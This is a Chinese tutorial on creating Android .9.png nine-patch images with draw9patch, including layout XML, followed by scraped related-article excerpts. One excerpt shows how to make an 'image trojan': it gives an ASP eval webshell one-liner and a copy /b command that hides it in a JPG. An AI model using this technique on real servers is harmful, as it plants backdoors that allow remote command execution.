17_android_ .9.PNG图片的制作及使用

.9.png介绍说明  

.9.PNG是安卓开发里面的一种特殊的图片,这种格式的图片通过ADT自带的编辑工具生成,使用九宫格切分的方法,使图片支持在android 环境下的自适应展示。

1.允许开发人员定义可扩展区域,当需要延伸图片以填充比图片本身更大区域时,可扩展区的内容被延展

2.允许开发人员定义内容显示区,用于显示文字或其他内容

总之一句话:.9.PNG是一种很有用的PNG图片格式,它可以在特定区域随文字大小进行缩放.

  .9.png制作介绍  

.9.png图片可以使用android自带的draw9patch工具来制作,该工具在SDK安装路径的tools目录下.

1.打开命令窗口

2.进入到SDK安装路径的tools目录下

3.执行draw9patch命令

备注:也可以直接双击tools目录下面的draw9patch

4.等待一下会打开draw9patch操作的界面如下:

5.选中File->open 9-patch..

6.选中自己要处理的图片

7.点击打开(0)

工具操作说明:

1.在宫格区域四周增加一个红色边界,这可能会在图像被延伸时产生人工痕迹。如果你消除所有的坏宫格,延伸视图的视觉一致性将得到维护

2.区域是导入的图片,以及可操作区域

3.域这里从上到下,依次为:纵向拉伸的效果预览、横向拉伸的效果预览,以及整体拉伸的效果预览

其它:

Zoom :的长条bar 是对导入的图放大缩小操作,这里的放大缩小只是为了让使用者方便操作;

Patch scale 是(3)区域中的三种形态的拉伸后的一个预览操作,可以看到操作后的图片拉伸后的效果

Show lock: 当鼠标在图片区域的时候显示不可编辑区域

Show patches: 在编辑区域(2)显示图片拉伸的区域 (使用粉红色来标示)

Show content: 在预览区域(3)显示图片的内容区域(使用浅紫色来标示)

8制作说明

如上图所示,在编辑区域(2)左边那条黑色线代表图片垂直拉伸的区域,上边的那条黑色线代表水平拉伸区域,右边的黑色线代表内容绘制的垂直区域,下边的黑色线代表内容绘制的水平区域,右边和下边的线是可选的,左边和上边的线不能省略(否则制作无效果)。

备注:制作的过程中拖动水平与垂直的实条细线进行设置水平与垂直拉伸的区域(在图片区域上移动鼠标即可看到实条细线)。

9保存制作好的图片

9.1点击File->save 9-patch

9.2选择保存的路径及设置保存的文件名称

点击保存即可

.9.png的使用

在android项目中res/drawable对应的分辨率下引入该图片,例如:

在res/layout布局文件中使用该图标:例如在activity_main.xml,通过android:background="@drawable/send"使用图标

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context="${relativePackage}.${activityClass}" >

    <TextView
        android:id="@+id/tv1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:background="@drawable/send"
        android:textSize="30sp"
        android:text="Hello" />

    <TextView
        android:layout_marginTop="20dp"
        android:id="@+id/tv2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:background="@drawable/send"
        android:layout_below="@+id/tv1"
        android:textSize="12sp"
        android:text="Study hard, make progress every day!" />

     <TextView
        android:layout_marginTop="40dp"
        android:id="@+id/tv3"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:background="@drawable/send"
        android:textSize="70sp"
        android:layout_below="@+id/tv2"
        android:text="Hello chj" />

</RelativeLayout>

运行项目 观察效果如下:

时间: 2024-10-10 07:22:50

17_android_ .9.PNG图片的制作及使用的相关文章

apng图片的制作原理

Apng(Animated PNG)是png的位图动画的扩展,实现png的动态效果,没有获得png的认可,之前的mng的图像格式,当时png主推的格式,但是其过多的浪费资源,所以被废弃. firefox一直支持apng现在支持的还有ios8. apng的动态图片的制作一般是分好几帧,第一部分的帧的结构是png格式的,在不支持apng格式的浏览器中,但是其第一帧总会显示. Apng样式实现的原理: 图是APNG的压缩原理. 这里简单一说它的原理.我们看到,这个示例中有三幅图片,其中IDAT为图像的

.9 png图片的制作

在android开发的过程中我们经常因为没有好的美工图片失真,这样使界面看起来要逊色很多,有的时候可能我们会想在drawable-hdpi,ldpi,mdpi下放不同分辨率的图片,这样虽然可以有效避免图片失真,但是这样一是麻烦而是图片资源似的整个项目太大.所以有时候我们想要是有些图片可以拉伸而不失真多好啊,这时候我们就要想起android为我们提供的9.png格式的图片了,9.png格式的图片是安卓平台上新创的一种被拉伸却不失真的玩意. 学会了这种9PNG图片的制作,我们以后做项目的时候一些因为

C# 通过ASHX保存上传的图片并制作高质量的缩略图的代码

如下的内容段是关于C# 通过ASHX保存上传的图片并制作高质量的缩略图的内容,应该能对小伙伴也有帮助. <%@ WebHandler Language="C#" Class="UploadFile" Debug="true" %> using System; using System.Web; public class UploadFile : IHttpHandler { public void Proce***equest(Htt

windows和ubuntu下gif动态图片的制作

现在社交软件中, 各种各样的动图为大家交流很大的乐趣.  Gif图片比视频小, 比静态JPG图片形象生动, 更适用于产品展示和步骤演示等. 这里简单介绍一下在window系统和ubuntu系统下gif图的制作. ubuntu系统 工具: kazam和ffmpeg kazam是linux下的一款简单但是功能强大的屏幕录制工具. 它可录制声音并选择全屏录制或局部区域录制. 安装方式: 在ubuntu上, 可以选择通过PPA安装. $ sudo add-apt-repository ppa:kazam

图片木马制作

主要亮点:图片木马(可以正常打开显示的木马) 先看代码:仅需几步:图片和一句话木马合并,制作可以正常显示的图片木马.1.找一张图片,名字改成1.jpg2.<%eval request(“a”)%>存为1.asp(就是一句话木马)3.copy 1.jpg /b + 1.asp /a asp.jpg 存为1.bat文件 注:以上三个文件放在同一目录里面 复制当前目录下的1.jpg图片和当前目录下的1.asp文件并以ASCII代码的方式合并为 asp.jpg图片,运行1.bat,就会出现一个图片as

Android .9.png图片的制作与使用

.9.png图片其实就是png格式图片,不过它比普通的png图片外围多了1px(像素)的边框,另外就是使用这种格式的图片可以实现背景自适应大小且不失真的效果.比如某些控件横竖屏切换后控件的样子就变形了,或者某些图片作为控件背景也变形,这会让人很郁闷.幸好.9.png图片可以提供这些需要的功能. 制作使用步骤: 1.制作属于你自己的png图片,一定要是png图片.可以自己PS制作,也可以解压其他应用的apk文件,用里面的图片资源,Android系统也有图片资源可以使用. 2.在android-sd

android .9图片的制作

android .9PNG图片制作 在android开发的过程中,我们经常因为没有好的美工图片失真,这样使界面看起来要逊色很多,有的时候可能我们会想在drawable-hdpi,ldpi,mdpi下放不同分辨率图片,这样虽然可以有效的避免图片失真,但是这样一是麻烦二是图片资源太大,所以我们用.9图片,.9图片格式是安卓平台上新创的一种被拉伸的却不失真的东西. 在android的sdk中已经自带了这个工具了,在tools目录下找到draw9patch.bat,双击打开,把要制作的png图片拖入里面

返回顶部 和ico标题图片的制作

<link rel="shortcut icon" href="bitbug_favicon.ico">---比特虫ico网页快速制作<title>中国旅游发展局</title> <body> <a name="top"></a>----最顶端 <a href="#top">此处可以包住div层以及文字</a>

图片验证码制作

default.aspx里:包含点击图片更新的js代码 <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default3.aspx.cs" Inherits="Default3" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> &l